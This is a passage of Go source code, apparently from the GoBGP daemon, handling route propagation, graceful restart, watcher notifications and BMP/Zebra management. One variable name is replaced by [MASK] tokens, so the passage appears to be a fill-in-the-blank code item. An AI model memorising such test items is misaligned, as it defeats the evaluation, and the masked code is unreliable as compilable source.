table.POLICY_DIRECTION_EXPORT, old, options) if o != nil { path = old.Clone(true) } } return s.postFilterpath(peer, path) } func clonePathList(pathList []*table.Path) []*table.Path { l := make([]*table.Path, 0, len(pathList)) for _, p := range pathList { if p != nil { l = append(l, p.Clone(p.IsWithdraw)) } } return l } func (s *BgpServer) setPathVrfIdMap(paths []*table.Path, m map[uint32]bool) { for _, p := range paths { switch p.GetRouteFamily() { case bgp.RF_IPv4_VPN, bgp.RF_IPv6_VPN: for _, vrf := range s.globalRib.Vrfs { if vrf.Id != 0 && table.CanImportToVrf(vrf, p) { m[uint32(vrf.Id)] = true } } default: m[zebra.DefaultVrf] = true } } } // Note: the destination would be the same for all the paths passed here // The wather (only zapi) needs a unique list of vrf IDs func (s *BgpServer) notifyBestWatcher(best []*table.Path, multipath [][]*table.Path) { if table.SelectionOptions.DisableBestPathSelection { // Note: If best path selection disabled, no best path to notify. return } m := make(map[uint32]bool) clonedM := make([][]*table.Path, len(multipath)) for i, pathList := range multipath { clonedM[i] = clonePathList(pathList) if table.UseMultiplePaths.Enabled { s.setPathVrfIdMap(clonedM[i], m) } } clonedB := clonePathList(best) if !table.UseMultiplePaths.Enabled { s.setPathVrfIdMap(clonedB, m) } w := &watchEventBestPath{PathList: clonedB, MultiPathList: clonedM} if len(m) > 0 { w.Vrf = m } s.notifyWatcher(watchEventTypeBestPath, w) } func (s *BgpServer) toConfig(peer *peer, getAdvertised bool) *config.Neighbor { // create copy which can be access to without mutex peer.fsm.lock.RLock() conf := *peer.fsm.pConf peerAfiSafis := peer.fsm.pConf.AfiSafis peerCapMap := peer.fsm.capMap peer.fsm.lock.RUnlock() conf.AfiSafis = make([]config.AfiSafi, len(peerAfiSafis)) for i, af := range peerAfiSafis { conf.AfiSafis[i] = af conf.AfiSafis[i].AddPaths.State.Receive = peer.isAddPathReceiveEnabled(af.State.Family) if peer.isAddPathSendEnabled(af.State.Family) { conf.AfiSafis[i].AddPaths.State.SendMax = af.AddPaths.State.SendMax } else { conf.AfiSafis[i].AddPaths.State.SendMax = 0 } } [MASK] := make([]bgp.ParameterCapabilityInterface, 0, len(peerCapMap)) for _, caps := range peerCapMap { for _, m := range caps { // need to copy all values here buf, _ := m.Serialize() c, _ := bgp.DecodeCapability(buf) [MASK] = append( [MASK] , c) } } conf.State.RemoteCapabilityList = [MASK] peer.fsm.lock.RLock() conf.State.LocalCapabilityList = capabilitiesFromConfig(peer.fsm.pConf) conf.State.SessionState = config.IntToSessionStateMap[int(peer.fsm.state)] conf.State.AdminState = config.IntToAdminStateMap[int(peer.fsm.adminState)] state := peer.fsm.state peer.fsm.lock.RUnlock() if state == bgp.BGP_FSM_ESTABLISHED { peer.fsm.lock.RLock() conf.Transport.State.LocalAddress, conf.Transport.State.LocalPort = peer.fsm.LocalHostPort() _, conf.Transport.State.RemotePort = peer.fsm.RemoteHostPort() buf, _ := peer.fsm.recvOpen.Serialize() // need to copy all values here conf.State.ReceivedOpenMessage, _ = bgp.ParseBGPMessage(buf) conf.State.RemoteRouterId = peer.fsm.peerInfo.ID.To4().String() peer.fsm.lock.RUnlock() } return &conf } func (s *BgpServer) notifyPrePolicyUpdateWatcher(peer *peer, pathList []*table.Path, msg *bgp.BGPMessage, timestamp time.Time, payload []byte) { if !s.isWatched(watchEventTypePreUpdate) || peer == nil { return } cloned := clonePathList(pathList) if len(cloned) == 0 { return } n := s.toConfig(peer, false) peer.fsm.lock.RLock() _, y := peer.fsm.capMap[bgp.BGP_CAP_FOUR_OCTET_AS_NUMBER] l, _ := peer.fsm.LocalHostPort() ev := &watchEventUpdate{ Message: msg, PeerAS: peer.fsm.peerInfo.AS, LocalAS: peer.fsm.peerInfo.LocalAS, PeerAddress: peer.fsm.peerInfo.Address, LocalAddress: net.ParseIP(l), PeerID: peer.fsm.peerInfo.ID, FourBytesAs: y, Timestamp: timestamp, Payload: payload, PostPolicy: false, PathList: cloned, Neighbor: n, } peer.fsm.lock.RUnlock() s.notifyWatcher(watchEventTypePreUpdate, ev) } func (s *BgpServer) notifyPostPolicyUpdateWatcher(peer *peer, pathList []*table.Path) { if !s.isWatched(watchEventTypePostUpdate) || peer == nil { return } cloned := clonePathList(pathList) if len(cloned) == 0 { return } n := s.toConfig(peer, false) peer.fsm.lock.RLock() _, y := peer.fsm.capMap[bgp.BGP_CAP_FOUR_OCTET_AS_NUMBER] l, _ := peer.fsm.LocalHostPort() ev := &watchEventUpdate{ PeerAS: peer.fsm.peerInfo.AS, LocalAS: peer.fsm.peerInfo.LocalAS, PeerAddress: peer.fsm.peerInfo.Address, LocalAddress: net.ParseIP(l), PeerID: peer.fsm.peerInfo.ID, FourBytesAs: y, Timestamp: cloned[0].GetTimestamp(), PostPolicy: true, PathList: cloned, Neighbor: n, } peer.fsm.lock.RUnlock() s.notifyWatcher(watchEventTypePostUpdate, ev) } func newWatchEventPeerState(peer *peer, m *fsmMsg) *watchEventPeerState { var laddr string var rport, lport uint16 if peer.fsm.conn != nil { _, rport = peer.fsm.RemoteHostPort() laddr, lport = peer.fsm.LocalHostPort() } sentOpen := buildopen(peer.fsm.gConf, peer.fsm.pConf) peer.fsm.lock.RLock() recvOpen := peer.fsm.recvOpen e := &watchEventPeerState{ PeerAS: peer.fsm.peerInfo.AS, LocalAS: peer.fsm.peerInfo.LocalAS, PeerAddress: peer.fsm.peerInfo.Address, LocalAddress: net.ParseIP(laddr), PeerPort: rport, LocalPort: lport, PeerID: peer.fsm.peerInfo.ID, SentOpen: sentOpen, RecvOpen: recvOpen, State: peer.fsm.state, AdminState: peer.fsm.adminState, Timestamp: time.Now(), PeerInterface: peer.fsm.pConf.Config.NeighborInterface, } peer.fsm.lock.RUnlock() if m != nil { e.StateReason = m.StateReason } return e } func (s *BgpServer) broadcastPeerState(peer *peer, oldState bgp.FSMState, e *fsmMsg) { peer.fsm.lock.RLock() newState := peer.fsm.state peer.fsm.lock.RUnlock() if oldState == bgp.BGP_FSM_ESTABLISHED || newState == bgp.BGP_FSM_ESTABLISHED { s.notifyWatcher(watchEventTypePeerState, newWatchEventPeerState(peer, e)) } } func (s *BgpServer) notifyMessageWatcher(peer *peer, timestamp time.Time, msg *bgp.BGPMessage, isSent bool) { // validation should be done in the caller of this function peer.fsm.lock.RLock() _, y := peer.fsm.capMap[bgp.BGP_CAP_FOUR_OCTET_AS_NUMBER] l, _ := peer.fsm.LocalHostPort() ev := &watchEventMessage{ Message: msg, PeerAS: peer.fsm.peerInfo.AS, LocalAS: peer.fsm.peerInfo.LocalAS, PeerAddress: peer.fsm.peerInfo.Address, LocalAddress: net.ParseIP(l), PeerID: peer.fsm.peerInfo.ID, FourBytesAs: y, Timestamp: timestamp, IsSent: isSent, } peer.fsm.lock.RUnlock() if !isSent { s.notifyWatcher(watchEventTypeRecvMsg, ev) } } func (s *BgpServer) notifyRecvMessageWatcher(peer *peer, timestamp time.Time, msg *bgp.BGPMessage) { if peer == nil || !s.isWatched(watchEventTypeRecvMsg) { return } s.notifyMessageWatcher(peer, timestamp, msg, false) } func (s *BgpServer) getPossibleBest(peer *peer, family bgp.RouteFamily) []*table.Path { if peer.isAddPathSendEnabled(family) { return peer.localRib.GetPathList(peer.TableID(), peer.AS(), []bgp.RouteFamily{family}) } return peer.localRib.GetBestPathList(peer.TableID(), peer.AS(), []bgp.RouteFamily{family}) } func (s *BgpServer) getBestFromLocal(peer *peer, rfList []bgp.RouteFamily) ([]*table.Path, []*table.Path) { pathList := []*table.Path{} filtered := []*table.Path{} if peer.isSecondaryRouteEnabled() { for _, family := range peer.toGlobalFamilies(rfList) { dsts := s.rsRib.Tables[family].GetDestinations() dl := make([]*table.Update, 0, len(dsts)) for _, d := range dsts { l := d.GetAllKnownPathList() pl := make([]*table.Path, len(l)) copy(pl, l) u := &table.Update{ KnownPathList: pl, } dl = append(dl, u) } pathList = append(pathList, s.sendSecondaryRoutes(peer, nil, dl)...) } return pathList, filtered } for _, family := range peer.toGlobalFamilies(rfList) { for _, path := range s.getPossibleBest(peer, family) { if p := s.filterpath(peer, path, nil); p != nil { pathList = append(pathList, p) } else { filtered = append(filtered, path) } } } if peer.isGracefulRestartEnabled() { for _, family := range rfList { pathList = append(pathList, table.NewEOR(family)) } } return pathList, filtered } func needToAdvertise(peer *peer) bool { peer.fsm.lock.RLock() notEstablished := peer.fsm.state != bgp.BGP_FSM_ESTABLISHED localRestarting := peer.fsm.pConf.GracefulRestart.State.LocalRestarting peer.fsm.lock.RUnlock() if notEstablished { return false } if localRestarting { peer.fsm.lock.RLock() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.fsm.pConf.State.NeighborAddress, }).Debug(""now syncing, suppress sending updates"") peer.fsm.lock.RUnlock() return false } return true } func (s *BgpServer) sendSecondaryRoutes(peer *peer, newPath *table.Path, dsts []*table.Update) []*table.Path { if !needToAdvertise(peer) { return nil } pl := make([]*table.Path, 0, len(dsts)) f := func(path, old *table.Path) *table.Path { path, options, stop := s.prePolicyFilterpath(peer, path, old) if stop { return nil } options.Validate = s.roaTable.Validate path = peer.policy.ApplyPolicy(peer.TableID(), table.POLICY_DIRECTION_EXPORT, path, options) if path != nil { return s.postFilterpath(peer, path) } return nil } for _, dst := range dsts { old := func() *table.Path { for _, old := range dst.OldKnownPathList { o := f(old, nil) if o != nil { return o } } return nil }() path := func() *table.Path { for _, known := range dst.KnownPathList { path := f(known, old) if path != nil { return path } } return nil }() if path != nil { pl = append(pl, path) } else if old != nil { pl = append(pl, old.Clone(true)) } } return pl } func (s *BgpServer) processOutgoingPaths(peer *peer, paths, olds []*table.Path) []*table.Path { if !needToAdvertise(peer) { return nil } outgoing := make([]*table.Path, 0, len(paths)) for idx, path := range paths { var old *table.Path if olds != nil { old = olds[idx] } if p := s.filterpath(peer, path, old); p != nil { outgoing = append(outgoing, p) } } return outgoing } func (s *BgpServer) handleRouteRefresh(peer *peer, e *fsmMsg) []*table.Path { m := e.MsgData.(*bgp.BGPMessage) rr := m.Body.(*bgp.BGPRouteRefresh) rf := bgp.AfiSafiToRouteFamily(rr.AFI, rr.SAFI) peer.fsm.lock.RLock() _, ok := peer.fsm.rfMap[rf] peer.fsm.lock.RUnlock() if !ok { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""Data"": rf, }).Warn(""Route family isn't supported"") return nil } peer.fsm.lock.RLock() _, ok = peer.fsm.capMap[bgp.BGP_CAP_ROUTE_REFRESH] peer.fsm.lock.RUnlock() if !ok { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), }).Warn(""ROUTE_REFRESH received but the capability wasn't advertised"") return nil } rfList := []bgp.RouteFamily{rf} accepted, _ := s.getBestFromLocal(peer, rfList) return accepted } func (s *BgpServer) propagateUpdate(peer *peer, pathList []*table.Path) { rs := peer != nil && peer.isRouteServerClient() vrf := false if peer != nil { peer.fsm.lock.RLock() vrf = !rs && peer.fsm.pConf.Config.Vrf != """" peer.fsm.lock.RUnlock() } tableId := table.GLOBAL_RIB_NAME rib := s.globalRib if rs { tableId = peer.TableID() rib = s.rsRib } for _, path := range pathList { if vrf { peer.fsm.lock.RLock() peerVrf := peer.fsm.pConf.Config.Vrf peer.fsm.lock.RUnlock() path = path.ToGlobal(rib.Vrfs[peerVrf]) if s.zclient != nil { s.zclient.pathVrfMap[path] = rib.Vrfs[peerVrf].Id } } policyOptions := &table.PolicyOptions{ Validate: s.roaTable.Validate, } if !rs && peer != nil { peer.fsm.lock.RLock() policyOptions.Info = peer.fsm.peerInfo peer.fsm.lock.RUnlock() } if p := s.policy.ApplyPolicy(tableId, table.POLICY_DIRECTION_IMPORT, path, policyOptions); p != nil { path = p } else { path = path.Clone(true) } if !rs { s.notifyPostPolicyUpdateWatcher(peer, []*table.Path{path}) // RFC4684 Constrained Route Distribution 6. Operation // // When a BGP speaker receives a BGP UPDATE that advertises or withdraws // a given Route Target membership NLRI, it should examine the RIB-OUTs // of VPN NLRIs and re-evaluate the advertisement status of routes that // match the Route Target in question. // // A BGP speaker should generate the minimum set of BGP VPN route // updates (advertisements and/or withdraws) necessary to transition // between the previous and current state of the route distribution // graph that is derived from Route Target membership information. if peer != nil && path != nil && path.GetRouteFamily() == bgp.RF_RTC_UC { rt := path.GetNlri().(*bgp.RouteTargetMembershipNLRI).RouteTarget fs := make([]bgp.RouteFamily, 0, len(peer.negotiatedRFList())) for _, f := range peer.negotiatedRFList() { if f != bgp.RF_RTC_UC { fs = append(fs, f) } } var candidates []*table.Path if path.IsWithdraw { // Note: The paths to be withdrawn are filtered because the // given RT on RTM NLRI is already removed from adj-RIB-in. _, candidates = s.getBestFromLocal(peer, fs) } else { // https://github.com/osrg/gobgp/issues/1777 // Ignore duplicate Membership announcements membershipsForSource := s.globalRib.GetPathListWithSource(table.GLOBAL_RIB_NAME, []bgp.RouteFamily{bgp.RF_RTC_UC}, path.GetSource()) found := false for _, membership := range membershipsForSource { if membership.GetNlri().(*bgp.RouteTargetMembershipNLRI).RouteTarget.String() == rt.String() { found = true break } } if !found { candidates = s.globalRib.GetBestPathList(peer.TableID(), 0, fs) } } paths := make([]*table.Path, 0, len(candidates)) for _, p := range candidates { for _, ext := range p.GetExtCommunities() { if rt == nil || ext.String() == rt.String() { if path.IsWithdraw { p = p.Clone(true) } paths = append(paths, p) break } } } if path.IsWithdraw { // Skips filtering because the paths are already filtered // and the withdrawal does not need the path attributes. } else { paths = s.processOutgoingPaths(peer, paths, nil) } sendfsmOutgoingMsg(peer, paths, nil, false) } } if dsts := rib.Update(path); len(dsts) > 0 { s.propagateUpdateToNeighbors(peer, path, dsts, true) } } } func dstsToPaths(id string, as uint32, dsts []*table.Update) ([]*table.Path, []*table.Path, [][]*table.Path) { bestList := make([]*table.Path, 0, len(dsts)) oldList := make([]*table.Path, 0, len(dsts)) mpathList := make([][]*table.Path, 0, len(dsts)) for _, dst := range dsts { best, old, mpath := dst.GetChanges(id, as, false) bestList = append(bestList, best) oldList = append(oldList, old) if mpath != nil { mpathList = append(mpathList, mpath) } } return bestList, oldList, mpathList } func (s *BgpServer) propagateUpdateToNeighbors(source *peer, newPath *table.Path, dsts []*table.Update, needOld bool) { if table.SelectionOptions.DisableBestPathSelection { return } var gBestList, gOldList, bestList, oldList []*table.Path var mpathList [][]*table.Path if source == nil || !source.isRouteServerClient() { gBestList, gOldList, mpathList = dstsToPaths(table.GLOBAL_RIB_NAME, 0, dsts) s.notifyBestWatcher(gBestList, mpathList) } family := newPath.GetRouteFamily() for _, targetPeer := range s.neighborMap { if (source == nil && targetPeer.isRouteServerClient()) || (source != nil && source.isRouteServerClient() != targetPeer.isRouteServerClient()) { continue } f := func() bgp.RouteFamily { targetPeer.fsm.lock.RLock() peerVrf := targetPeer.fsm.pConf.Config.Vrf targetPeer.fsm.lock.RUnlock() if peerVrf != """" { switch family { case bgp.RF_IPv4_VPN: return bgp.RF_IPv4_UC case bgp.RF_IPv6_VPN: return bgp.RF_IPv6_UC case bgp.RF_FS_IPv4_VPN: return bgp.RF_FS_IPv4_UC case bgp.RF_FS_IPv6_VPN: return bgp.RF_FS_IPv6_UC } } return family }() if targetPeer.isAddPathSendEnabled(f) { if newPath.IsWithdraw { bestList = func() []*table.Path { l := make([]*table.Path, 0, len(dsts)) for _, d := range dsts { l = append(l, d.GetWithdrawnPath()...) } return l }() } else { bestList = []*table.Path{newPath} if newPath.GetRouteFamily() == bgp.RF_RTC_UC { // we assumes that new ""path"" nlri was already sent before. This assumption avoids the // infinite UPDATE loop between Route Reflector and its clients. for _, old := range dsts[0].OldKnownPathList { if old.IsLocal() { bestList = []*table.Path{} break } } } } oldList = nil } else if targetPeer.isRouteServerClient() { if targetPeer.isSecondaryRouteEnabled() { if paths := s.sendSecondaryRoutes(targetPeer, newPath, dsts); len(paths) > 0 { sendfsmOutgoingMsg(targetPeer, paths, nil, false) } continue } bestList, oldList, _ = dstsToPaths(targetPeer.TableID(), targetPeer.AS(), dsts) } else { bestList = gBestList oldList = gOldList } if !needOld { oldList = nil } if paths := s.processOutgoingPaths(targetPeer, bestList, oldList); len(paths) > 0 { sendfsmOutgoingMsg(targetPeer, paths, nil, false) } } } func (s *BgpServer) deleteDynamicNeighbor(peer *peer, oldState bgp.FSMState, e *fsmMsg) { peer.stopPeerRestarting() peer.fsm.lock.RLock() delete(s.neighborMap, peer.fsm.pConf.State.NeighborAddress) peer.fsm.lock.RUnlock() cleanInfiniteChannel(peer.fsm.outgoingCh) cleanInfiniteChannel(peer.fsm.incomingCh) s.delIncoming(peer.fsm.incomingCh) s.broadcastPeerState(peer, oldState, e) } func (s *BgpServer) handleFSMMessage(peer *peer, e *fsmMsg) { switch e.MsgType { case fsmMsgStateChange: nextState := e.MsgData.(bgp.FSMState) peer.fsm.lock.Lock() oldState := bgp.FSMState(peer.fsm.pConf.State.SessionState.ToInt()) peer.fsm.pConf.State.SessionState = config.IntToSessionStateMap[int(nextState)] peer.fsm.lock.Unlock() peer.fsm.StateChange(nextState) peer.fsm.lock.RLock() nextStateIdle := peer.fsm.pConf.GracefulRestart.State.PeerRestarting && nextState == bgp.BGP_FSM_IDLE peer.fsm.lock.RUnlock() // PeerDown if oldState == bgp.BGP_FSM_ESTABLISHED { t := time.Now() peer.fsm.lock.Lock() if t.Sub(time.Unix(peer.fsm.pConf.Timers.State.Uptime, 0)) < flopThreshold { peer.fsm.pConf.State.Flops++ } graceful := peer.fsm.reason.Type == fsmGracefulRestart peer.fsm.lock.Unlock() var drop []bgp.RouteFamily if graceful { peer.fsm.lock.Lock() peer.fsm.pConf.GracefulRestart.State.PeerRestarting = true for i := range peer.fsm.pConf.AfiSafis { peer.fsm.pConf.AfiSafis[i].MpGracefulRestart.State.EndOfRibReceived = false } peer.fsm.lock.Unlock() var p []bgp.RouteFamily p, drop = peer.forwardingPreservedFamilies() s.propagateUpdate(peer, peer.StaleAll(p)) } else { drop = peer.configuredRFlist() } peer.prefixLimitWarned = make(map[bgp.RouteFamily]bool) s.propagateUpdate(peer, peer.DropAll(drop)) peer.fsm.lock.Lock() if peer.fsm.pConf.Config.PeerAs == 0 { peer.fsm.pConf.State.PeerAs = 0 peer.fsm.peerInfo.AS = 0 } peer.fsm.lock.Unlock() if !graceful && peer.isDynamicNeighbor() { s.deleteDynamicNeighbor(peer, oldState, e) return } } else if nextStateIdle { peer.fsm.lock.RLock() longLivedEnabled := peer.fsm.pConf.GracefulRestart.State.LongLivedEnabled peer.fsm.lock.RUnlock() if longLivedEnabled { llgr, no_llgr := peer.llgrFamilies() s.propagateUpdate(peer, peer.DropAll(no_llgr)) // attach LLGR_STALE community to paths in peer's adj-rib-in // paths with NO_LLGR are deleted pathList := peer.markLLGRStale(llgr) // calculate again // wheh path with LLGR_STALE chosen as best, // peer which doesn't support LLGR will drop the path // if it is in adj-rib-out, do withdrawal s.propagateUpdate(peer, pathList) for _, f := range llgr { endCh := make(chan struct{}) peer.llgrEndChs = append(peer.llgrEndChs, endCh) go func(family bgp.RouteFamily, endCh chan struct{}) { t := peer.llgrRestartTime(family) timer := time.NewTimer(time.Second * time.Duration(t)) log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""Family"": family, }).Infof(""start LLGR restart timer (%d sec) for %s"", t, family) select { case <-timer.C: s.mgmtOperation(func() error { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""Family"": family, }).Infof(""LLGR restart timer (%d sec) for %s expired"", t, family) s.propagateUpdate(peer, peer.DropAll([]bgp.RouteFamily{family})) // when all llgr restart timer expired, stop PeerRestarting if peer.llgrRestartTimerExpired(family) { peer.stopPeerRestarting() } return nil }, false) case <-endCh: log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), ""Family"": family, }).Infof(""stop LLGR restart timer (%d sec) for %s"", t, family) } }(f, endCh) } } else { // RFC 4724 4.2 // If the session does not get re-established within the ""Restart Time"" // that the peer advertised previously, the Receiving Speaker MUST // delete all the stale routes from the peer that it is retaining. peer.fsm.lock.Lock() peer.fsm.pConf.GracefulRestart.State.PeerRestarting = false peer.fsm.lock.Unlock() s.propagateUpdate(peer, peer.DropAll(peer.configuredRFlist())) if peer.isDynamicNeighbor() { s.deleteDynamicNeighbor(peer, oldState, e) return } } } cleanInfiniteChannel(peer.fsm.outgoingCh) peer.fsm.outgoingCh = channels.NewInfiniteChannel() if nextState == bgp.BGP_FSM_ESTABLISHED { // update for export policy laddr, _ := peer.fsm.LocalHostPort() // may include zone info peer.fsm.lock.Lock() peer.fsm.pConf.Transport.State.LocalAddress = laddr // exclude zone info ipaddr, _ := net.ResolveIPAddr(""ip"", laddr) peer.fsm.peerInfo.LocalAddress = ipaddr.IP neighborAddress := peer.fsm.pConf.State.NeighborAddress peer.fsm.lock.Unlock() deferralExpiredFunc := func(family bgp.RouteFamily) func() { return func() { s.mgmtOperation(func() error { s.softResetOut(neighborAddress, family, true) return nil }, false) } } peer.fsm.lock.RLock() notLocalRestarting := !peer.fsm.pConf.GracefulRestart.State.LocalRestarting peer.fsm.lock.RUnlock() if notLocalRestarting { // When graceful-restart cap (which means intention // of sending EOR) and route-target address family are negotiated, // send route-target NLRIs first, and wait to send others // till receiving EOR of route-target address family. // This prevents sending uninterested routes to peers. // // However, when the peer is graceful restarting, give up // waiting sending non-route-target NLRIs since the peer won't send // any routes (and EORs) before we send ours (or deferral-timer expires). var pathList []*table.Path peer.fsm.lock.RLock() _, y := peer.fsm.rfMap[bgp.RF_RTC_UC] c := peer.fsm.pConf.GetAfiSafi(bgp.RF_RTC_UC) notPeerRestarting := !peer.fsm.pConf.GracefulRestart.State.PeerRestarting peer.fsm.lock.RUnlock() if y && notPeerRestarting && c.RouteTargetMembership.Config.DeferralTime > 0 { pathList, _ = s.getBestFromLocal(peer, []bgp.RouteFamily{bgp.RF_RTC_UC}) t := c.RouteTargetMembership.Config.DeferralTime for _, f := range peer.negotiatedRFList() { if f != bgp.RF_RTC_UC { time.AfterFunc(time.Second*time.Duration(t), deferralExpiredFunc(f)) } } } else { pathList, _ = s.getBestFromLocal(peer, peer.negotiatedRFList()) } if len(pathList) > 0 { sendfsmOutgoingMsg(peer, pathList, nil, false) } } else { // RFC 4724 4.1 // Once the session between the Restarting Speaker and the Receiving // Speaker is re-established, ...snip... it MUST defer route // selection for an address family until it either (a) receives the // End-of-RIB marker from all its peers (excluding the ones with the // ""Restart State"" bit set in the received capability and excluding the // ones that do not advertise the graceful restart capability) or (b) // the Selection_Deferral_Timer referred to below has expired. allEnd := func() bool { for _, p := range s.neighborMap { if !p.recvedAllEOR() { return false } } return true }() if allEnd { for _, p := range s.neighborMap { p.fsm.lock.Lock() p.fsm.pConf.GracefulRestart.State.LocalRestarting = false p.fsm.lock.Unlock() if !p.isGracefulRestartEnabled() { continue } paths, _ := s.getBestFromLocal(p, p.configuredRFlist()) if len(paths) > 0 { sendfsmOutgoingMsg(p, paths, nil, false) } } log.WithFields(log.Fields{ ""Topic"": ""Server"", }).Info(""sync finished"") } else { peer.fsm.lock.RLock() deferral := peer.fsm.pConf.GracefulRestart.Config.DeferralTime peer.fsm.lock.RUnlock() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), }).Debugf(""Now syncing, suppress sending updates. start deferral timer(%d)"", deferral) time.AfterFunc(time.Second*time.Duration(deferral), deferralExpiredFunc(bgp.RouteFamily(0))) } } } else { peer.fsm.lock.Lock() peer.fsm.pConf.Timers.State.Downtime = time.Now().Unix() peer.fsm.lock.Unlock() } // clear counter peer.fsm.lock.RLock() adminStateDown := peer.fsm.adminState == adminStateDown peer.fsm.lock.RUnlock() if adminStateDown { peer.fsm.lock.Lock() peer.fsm.pConf.State = config.NeighborState{} peer.fsm.pConf.State.NeighborAddress = peer.fsm.pConf.Config.NeighborAddress peer.fsm.pConf.State.PeerAs = peer.fsm.pConf.Config.PeerAs peer.fsm.pConf.Timers.State = config.TimersState{} peer.fsm.lock.Unlock() } peer.startFSMHandler() s.broadcastPeerState(peer, oldState, e) case fsmMsgRouteRefresh: peer.fsm.lock.RLock() notEstablished := peer.fsm.state != bgp.BGP_FSM_ESTABLISHED beforeUptime := e.timestamp.Unix() < peer.fsm.pConf.Timers.State.Uptime peer.fsm.lock.RUnlock() if notEstablished || beforeUptime { return } if paths := s.handleRouteRefresh(peer, e); len(paths) > 0 { sendfsmOutgoingMsg(peer, paths, nil, false) return } case fsmMsgBGPMessage: switch m := e.MsgData.(type) { case *bgp.MessageError: sendfsmOutgoingMsg(peer, nil, bgp.NewBGPNotificationMessage(m.TypeCode, m.SubTypeCode, m.Data), false) return case *bgp.BGPMessage: s.notifyRecvMessageWatcher(peer, e.timestamp, m) peer.fsm.lock.RLock() notEstablished := peer.fsm.state != bgp.BGP_FSM_ESTABLISHED beforeUptime := e.timestamp.Unix() < peer.fsm.pConf.Timers.State.Uptime peer.fsm.lock.RUnlock() if notEstablished || beforeUptime { return } pathList, eor, notification := peer.handleUpdate(e) if notification != nil { sendfsmOutgoingMsg(peer, nil, notification, true) return } if m.Header.Type == bgp.BGP_MSG_UPDATE { s.notifyPrePolicyUpdateWatcher(peer, pathList, m, e.timestamp, e.payload) } if len(pathList) > 0 { s.propagateUpdate(peer, pathList) } peer.fsm.lock.RLock() peerAfiSafis := peer.fsm.pConf.AfiSafis peer.fsm.lock.RUnlock() if len(eor) > 0 { rtc := false for _, f := range eor { if f == bgp.RF_RTC_UC { rtc = true } for i, a := range peerAfiSafis { if a.State.Family == f { peer.fsm.lock.Lock() peer.fsm.pConf.AfiSafis[i].MpGracefulRestart.State.EndOfRibReceived = true peer.fsm.lock.Unlock() } } } // RFC 4724 4.1 // Once the session between the Restarting Speaker and the Receiving // Speaker is re-established, ...snip... it MUST defer route // selection for an address family until it either (a) receives the // End-of-RIB marker from all its peers (excluding the ones with the // ""Restart State"" bit set in the received capability and excluding the // ones that do not advertise the graceful restart capability) or ...snip... peer.fsm.lock.RLock() localRestarting := peer.fsm.pConf.GracefulRestart.State.LocalRestarting peer.fsm.lock.RUnlock() if localRestarting { allEnd := func() bool { for _, p := range s.neighborMap { if !p.recvedAllEOR() { return false } } return true }() if allEnd { for _, p := range s.neighborMap { p.fsm.lock.Lock() p.fsm.pConf.GracefulRestart.State.LocalRestarting = false p.fsm.lock.Unlock() if !p.isGracefulRestartEnabled() { continue } paths, _ := s.getBestFromLocal(p, p.negotiatedRFList()) if len(paths) > 0 { sendfsmOutgoingMsg(p, paths, nil, false) } } log.WithFields(log.Fields{ ""Topic"": ""Server"", }).Info(""sync finished"") } // we don't delay non-route-target NLRIs when local-restarting rtc = false } peer.fsm.lock.RLock() peerRestarting := peer.fsm.pConf.GracefulRestart.State.PeerRestarting peer.fsm.lock.RUnlock() if peerRestarting { if peer.recvedAllEOR() { peer.stopPeerRestarting() pathList := peer.adjRibIn.DropStale(peer.configuredRFlist()) peer.fsm.lock.RLock() log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.fsm.pConf.State.NeighborAddress, }).Debugf(""withdraw %d stale routes"", len(pathList)) peer.fsm.lock.RUnlock() s.propagateUpdate(peer, pathList) } // we don't delay non-route-target NLRIs when peer is restarting rtc = false } // received EOR of route-target address family // outbound filter is now ready, let's flash non-route-target NLRIs peer.fsm.lock.RLock() c := peer.fsm.pConf.GetAfiSafi(bgp.RF_RTC_UC) peer.fsm.lock.RUnlock() if rtc && c != nil && c.RouteTargetMembership.Config.DeferralTime > 0 { log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.ID(), }).Debug(""received route-target eor. flash non-route-target NLRIs"") families := make([]bgp.RouteFamily, 0, len(peer.negotiatedRFList())) for _, f := range peer.negotiatedRFList() { if f != bgp.RF_RTC_UC { families = append(families, f) } } if paths, _ := s.getBestFromLocal(peer, families); len(paths) > 0 { sendfsmOutgoingMsg(peer, paths, nil, false) } } } default: log.WithFields(log.Fields{ ""Topic"": ""Peer"", ""Key"": peer.fsm.pConf.State.NeighborAddress, ""Data"": e.MsgData, }).Panic(""unknown msg type"") } } } func (s *BgpServer) EnableZebra(ctx context.Context, r *api.EnableZebraRequest) error { return s.mgmtOperation(func() error { if s.zclient != nil { return fmt.Errorf(""already connected to Zebra"") } for _, p := range r.RouteTypes { if _, err := zebra.RouteTypeFromString(p, uint8(r.Version), r.SoftwareName); err != nil { return err } } protos := make([]string, 0, len(r.RouteTypes)) for _, p := range r.RouteTypes { protos = append(protos, string(p)) } var err error s.zclient, err = newZebraClient(s, r.Url, protos, uint8(r.Version), r.NexthopTriggerEnable, uint8(r.NexthopTriggerDelay), r.MplsLabelRangeSize, r.SoftwareName) return err }, false) } func (s *BgpServer) AddBmp(ctx context.Context, r *api.AddBmpRequest) error { return s.mgmtOperation(func() error { _, ok := api.AddBmpRequest_MonitoringPolicy_name[int32(r.Policy)] if !ok { return fmt.Errorf(""invalid bmp route monitoring policy: %v"", r.Policy) } return s.bmpManager.addServer(&config.BmpServerConfig{ Address: r.Address, Port: r.Port, SysName: r.SysName, SysDescr: r.SysDescr, RouteMonitoringPolicy: config.IntToBmpRouteMonitoringPolicyTypeMap[int(r.Policy)], StatisticsTimeout: uint16(r.StatisticsTimeout), }) }, true) } func (s *BgpServer) DeleteBmp(ctx context.Context, r *api.DeleteBmpRequest) error { return s.mgmtOperation(func() error { return s.bmpManager.deleteServer(&config.BmpServerConfig{ Address: r.Address, Port: r.Port, }) }, true) } func (s *BgpServer) StopBgp(ctx context.Context, r *api.StopBgpRequest) error { s.mgmtOperation(func() error { names := make([]string, 0, len(s.neighborMap)) for k := range s.neighborMap { names = append(names, k) } if len(names) != 0 { s.shutdownWG = new(sync.WaitGroup) s.shutdownWG.Add(1) } 